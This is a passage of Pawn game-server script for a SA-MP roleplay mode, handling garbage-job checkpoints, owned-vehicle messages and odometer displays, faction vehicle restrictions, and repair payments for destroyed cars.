					SCM(playerid,COLOR_LIGHTBLUE,"Go to the checkpoints and pickup the trashes.");
					if(Trashlevel[playerid] == 0)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2442.196777,-1979.516479,13.546875,4);
					   CP[playerid] = 4002312;
					}
					if(Trashlevel[playerid] == 1)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2505.880859,-1775.203369,13.546875,4);
					   CP[playerid] = 4002313;
					}
					if(Trashlevel[playerid] == 2)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2435.575195,-1770.595092,13.546875,4);
					   CP[playerid] = 4002314;
					}
					if(Trashlevel[playerid] == 3)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2153.687255,-1724.774047,13.538188,4);
					   CP[playerid] = 4002315;
					}
					if(Trashlevel[playerid] == 4)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2114.340332,-1824.442871,13.556438,4);
					   CP[playerid] = 4002316;
					}
					if(Trashlevel[playerid] == 5)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2295.984375,-1712.385864,13.554470,4);
					   CP[playerid] = 4002317;
					}
					if(Trashlevel[playerid] == 6)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2231.493408,-1354.564941,23.986755,4);
					   CP[playerid] = 4002318;
					}
					if(Trashlevel[playerid] == 7)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2052.434570,-1103.771728,24.489671,4);
					   CP[playerid] = 4002319;
					}
					if(Trashlevel[playerid] == 8)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1922.792968,-1090.936889,24.656047,4);
					   CP[playerid] = 4002320;
					}
					if(Trashlevel[playerid] == 9)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1785.745361,-1146.392944,23.914796,4);
					   CP[playerid] = 4002321;
					}
					if(Trashlevel[playerid] == 10)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1828.393066,-1143.889038,23.916961,4);
					   CP[playerid] = 4002322;
					}
					if(Trashlevel[playerid] == 11)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1829.104858,-1084.440673,23.894075,4);
					   CP[playerid] = 4002323;
					}
					if(Trashlevel[playerid] == 12)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1685.226440,-1067.213134,23.906858,4);
					   CP[playerid] = 4002324;
					}
					if(Trashlevel[playerid] == 13)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1660.046020,-1061.290039,23.625539,4);
					   CP[playerid] = 4002325;
					}
					if(Trashlevel[playerid] == 14)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1522.405151,-1018.379455,23.919734,4);
					   CP[playerid] = 4002326;
					}
					if(Trashlevel[playerid] == 15)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1313.581542,-1095.853881,25.634815,4);
					   CP[playerid] = 4002327;
					}
					if(Trashlevel[playerid] == 16)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1322.108520,-1237.576416,13.546875,4);
					   CP[playerid] = 4002328;
					}
					if(Trashlevel[playerid] == 17)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1357.855712,-1487.796386,13.539655,4);
					   CP[playerid] = 4002329;
					}
					if(Trashlevel[playerid] == 18)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1460.671630,-1492.498535,13.546875,4);
					   CP[playerid] = 4002330;
					}
					if(Trashlevel[playerid] == 19)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,1094.815673,-1881.170776,13.546875,4);
					   CP[playerid] = 4002331;
					}
					if(Trashlevel[playerid] == 20)
					{
					   OnCheckpoint[playerid] = 1;
					   SetPlayerCheckpoint(playerid,2109.051269,-2009.960083,13.546875,4);
					   CP[playerid] = 4002332;
					}
				}
			 }
		  }
		  else
		  {
			 SCM(playerid,COLOR_LIGHTBLUE,"You are not a Garbage man.");
			 RemovePlayerFromVehicle(playerid);
		  }
	   }
	   if(OwnedMashin[newcar] == 1 && MashinOwner[newcar] != playerid)
	   {
		  if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
		  {
			 new msg[128];
			 new plname[MAX_PLAYER_NAME];
				new mod;
				if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_1]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_1]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_2]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_2]) - 400;
			 else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_3]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_3]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_4]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_4]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_5]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_5]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_6]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_6]) - 400;

				GetPlayerName(MashinOwner[newcar], plname, sizeof(plname));
			 format(msg, sizeof(msg), "You are now driving with %s's %s.",plname,aVehicleNames[mod]);
			 SendMessage(playerid, COLOR_WHITE, msg);
			 PlayerTextDrawShow(playerid, KiloTextDraw[playerid]);
			 TDShowedKilo[playerid] = true;
				PlayerTextDrawShow(playerid, LockTD[playerid]);
			 TDShowedLock[playerid] = true;
	for(new i = 0; i < Akharish; i++)
	{
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	{
	new r = PlayerInfo[i][pVeh1];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	{
	new r = PlayerInfo[i][pVeh2];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	{
	new r = PlayerInfo[i][pVeh3];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	{
	new r = PlayerInfo[i][pVeh4];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	{
	new r = PlayerInfo[i][pVeh5];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	{
	new r = PlayerInfo[i][pVeh6];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	}
		  }
	   }
	   if(OwnedMashin[newcar] == 1 && MashinOwner[newcar] != playerid)
	   {
		  if(GetPlayerState(playerid) == PLAYER_STATE_PASSENGER)
		  {
			 new msg[128];
			 new plname[MAX_PLAYER_NAME];
				new mod;
				if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_1]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_1]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_2]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_2]) - 400;
			 else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_3]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_3]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_4]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_4]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_5]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_5]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_6]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_6]) - 400;

				GetPlayerName(MashinOwner[newcar], plname, sizeof(plname));
			 format(msg, sizeof(msg), "You are entered as passenger to %s's %s.",plname,aVehicleNames[mod]);
			 SendMessage(playerid, COLOR_WHITE, msg);
			 PlayerTextDrawShow(playerid, KiloTextDraw[playerid]);
			 TDShowedKilo[playerid] = true;
				PlayerTextDrawShow(playerid, LockTD[playerid]);
			 TDShowedLock[playerid] = true;
	for(new i = 0; i < Akharish; i++)
	{
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	{
	new r = PlayerInfo[i][pVeh1];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	{
	new r = PlayerInfo[i][pVeh2];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	{
	new r = PlayerInfo[i][pVeh3];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	{
	new r = PlayerInfo[i][pVeh4];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	{
	new r = PlayerInfo[i][pVeh5];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	{
	new r = PlayerInfo[i][pVeh6];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	}
		  }
	   }
		if(VehOwned[newcar] == 2 && InModShop[playerid] == 0) {
		if(VehOwner[newcar] == 9999) {SCM(playerid, COLOR_WHITE, "{FFFFFF}This is an admins vehicle.");}
		else {
		new str[75];
		format(str, sizeof(str), "{FFFFFF}This vehicle is created by {FF0000}%s{FFFFFF}.", PlayerInfo[VehOwner[newcar]][pName]);
		SCM(playerid, COLOR_WHITE, str);
		}
		}
	   if(OwnedMashin[newcar] == 1 && MashinOwner[newcar] == playerid)
	   {
		  if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
		  {
			 new ali2[256];
			 new mod;
				if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_1]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_1]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_2]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_2]) - 400;
			 else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_3]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_3]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_4]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_4]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_5]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_5]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_6]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_6]) - 400;

			 format(ali2,256,"Welcome to your %s.",aVehicleNames[mod]);
			 SendMessage(playerid, COLOR_WHITE, ali2);
			 PlayerTextDrawShow(playerid, KiloTextDraw[playerid]);
			 TDShowedKilo[playerid] = true;
				PlayerTextDrawShow(playerid, LockTD[playerid]);
			 TDShowedLock[playerid] = true;
	for(new i = 0; i < Akharish; i++)
	{
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	{
	new r = PlayerInfo[i][pVeh1];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	{
	new r = PlayerInfo[i][pVeh2];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	{
	new r = PlayerInfo[i][pVeh3];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	{
	new r = PlayerInfo[i][pVeh4];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	{
	new r = PlayerInfo[i][pVeh5];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	{
	new r = PlayerInfo[i][pVeh6];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	}
		  }
	   }
	   if(OwnedMashin[newcar] == 1 && MashinOwner[newcar] == playerid)
	   {
		  if(GetPlayerState(playerid) == PLAYER_STATE_PASSENGER)
		  {
			 new ali2[256];
			 new mod;
				if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_1]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_1]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_2]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_2]) - 400;
			 else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_3]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_3]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_4]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_4]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_5]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_5]) - 400;
				else if(newcar == PlayerInfo[MashinOwner[newcar]][pCar_6]) mod = GetVehicleModel(PlayerInfo[MashinOwner[newcar]][pCar_6]) - 400;

			 format(ali2,256,"Welcome to your %s as passenger.",aVehicleNames[mod]);
			 SendMessage(playerid, COLOR_WHITE, ali2);
			 PlayerTextDrawShow(playerid, KiloTextDraw[playerid]);
			 TDShowedKilo[playerid] = true;
				PlayerTextDrawShow(playerid, LockTD[playerid]);
			 TDShowedLock[playerid] = true;
	for(new i = 0; i < Akharish; i++)
	{
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	{
	new r = PlayerInfo[i][pVeh1];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	{
	new r = PlayerInfo[i][pVeh2];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	{
	new r = PlayerInfo[i][pVeh3];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	{
	new r = PlayerInfo[i][pVeh4];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	{
	new r = PlayerInfo[i][pVeh5];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	{
	new r = PlayerInfo[i][pVeh6];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	}
		  }
	   }

	   if(IsAllCars(newcar) && !IsABike(newcar) && !IsPGangCar8(newcar))
	   {
		  new vid = GetPlayerVehicleID(playerid);
		  if(EngineSTATE[newcar] == 1)
		  {
			 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid,VEHICLE_PARAMS_ON,lights,alarm,doors,bonnet,boot,objective);
		  }
		  else
		  {
			 GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
			 SetVehicleParamsEx(vid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
		  }
	   }
	   if(IsAnAmbulance(newcar))
	   {
		  if(PlayerInfo[playerid][pMember] == 4||PlayerInfo[playerid][pLeader] == 4) { }
		  else { RemovePlayerFromVehicle(playerid); SendMessage(playerid, COLOR_MEDIC,"You are not a medic.");}
	   }
	   if(IsPGangCar(newcar))
	   {
		  if(PlayerInfo[playerid][pLeader] == 5||PlayerInfo[playerid][pMember] == 5) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, TEAM_CUN_COLOR,"You are not a The Silence Mafia member.");}
	   }
	   if(IsPGangCar2(newcar))
	   {
		  if(PlayerInfo[playerid][pLeader] == 6||PlayerInfo[playerid][pMember] == 6) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_Triads,"You are not a The Killers Family member.");}
	   }
	   if(IsPGangCar3(newcar))
	   {
		  if(PlayerInfo[playerid][pLeader] == 16||PlayerInfo[playerid][pMember] == 16) { }
		  else {
		  RemovePlayerFromVehicle(playerid);
		  SendMessage(playerid, COLOR_TCC,"You are not a Tow Truck Company member.");}
	   }
	   if(OwnedMashin[newcar] == 1 && MashinOwner[newcar] != playerid)
	   {
			new v = MashinOwner[newcar];
		  if(newcar == PlayerInfo[v][pCar_1])
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh1];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				SendMessage(playerid, COLOR_BLUE, "This car was destroyed and the car owner must pay $250,000 for drive the car.");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
		  else if(newcar == PlayerInfo[v][pCar_2])
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh2];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				SendMessage(playerid, COLOR_BLUE, "This car was destroyed and the car owner must pay $250,000 for drive the car.");
				RemovePlayerFromVehicle(playerid);
			 }
		  }

		  else if(newcar == PlayerInfo[v][pCar_3])
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh3];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				SendMessage(playerid, COLOR_BLUE, "This car was destroyed and the car owner must pay $250,000 for drive the car.");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
		  else if(newcar == PlayerInfo[v][pCar_4])
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh4];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				SendMessage(playerid, COLOR_BLUE, "This car was destroyed and the car owner must pay $250,000 for drive the car.");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
		  else if(newcar == PlayerInfo[v][pCar_5])
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh5];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				SendMessage(playerid, COLOR_BLUE, "This car was destroyed and the car owner must pay $250,000 for drive the car.");
				RemovePlayerFromVehicle(playerid);
			 }
	   }
		  else if(newcar == PlayerInfo[v][pCar_6])
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh6];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				SendMessage(playerid, COLOR_BLUE, "This car was destroyed and the car owner must pay $250,000 for drive the car.");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
	   }
	   if(OwnedMashin[newcar] == 1)
	   {
		  if(PlayerInfo[playerid][pCar_1] == newcar)
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh1];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				new pricee = vInfo[r][cPrice]*1/50;
				format(string, sizeof(string), "Your car has been destroyed you must to pay $%s mechanical because they have your car repaired.",FormatNumber(pricee));
				ShowPlayerDialog(playerid, 403, DIALOG_STYLE_MSGBOX, "\n", string, "Pay", "Cancel");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
			else if(PlayerInfo[playerid][pCar_2] == newcar)
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh2];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				new pricee = vInfo[r][cPrice]*1/50;
				format(string, sizeof(string), "Your car has been destroyed you must to pay $%s mechanical because they have your car repaired.",FormatNumber(pricee));
				ShowPlayerDialog(playerid, 404, DIALOG_STYLE_MSGBOX, "\n", string, "Pay", "Cancel");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
			else if(PlayerInfo[playerid][pCar_3] == newcar)
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh3];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				new pricee = vInfo[r][cPrice]*1/50;
				format(string, sizeof(string), "Your car has been destroyed you must to pay $%s mechanical because they have your car repaired.",FormatNumber(pricee));
				ShowPlayerDialog(playerid, 405, DIALOG_STYLE_MSGBOX, "\n", string, "Pay", "Cancel");
				RemovePlayerFromVehicle(playerid);
			 }
		  }
			else if(PlayerInfo[playerid][pCar_4] == newcar)
		  {
				new r = PlayerInfo[MashinOwner[newcar]][pVeh4];
			 if(vInfo[r][cInsurance] == 0 && vInfo[r][cFixed] != 1)
			 {
				new pricee = vInfo[r][cPrice]*1/50;
				format(string, sizeof(string), "Your car has been destroyed you must to pay $%s mechanical because they have your car repaired.",FormatNumber(pricee));
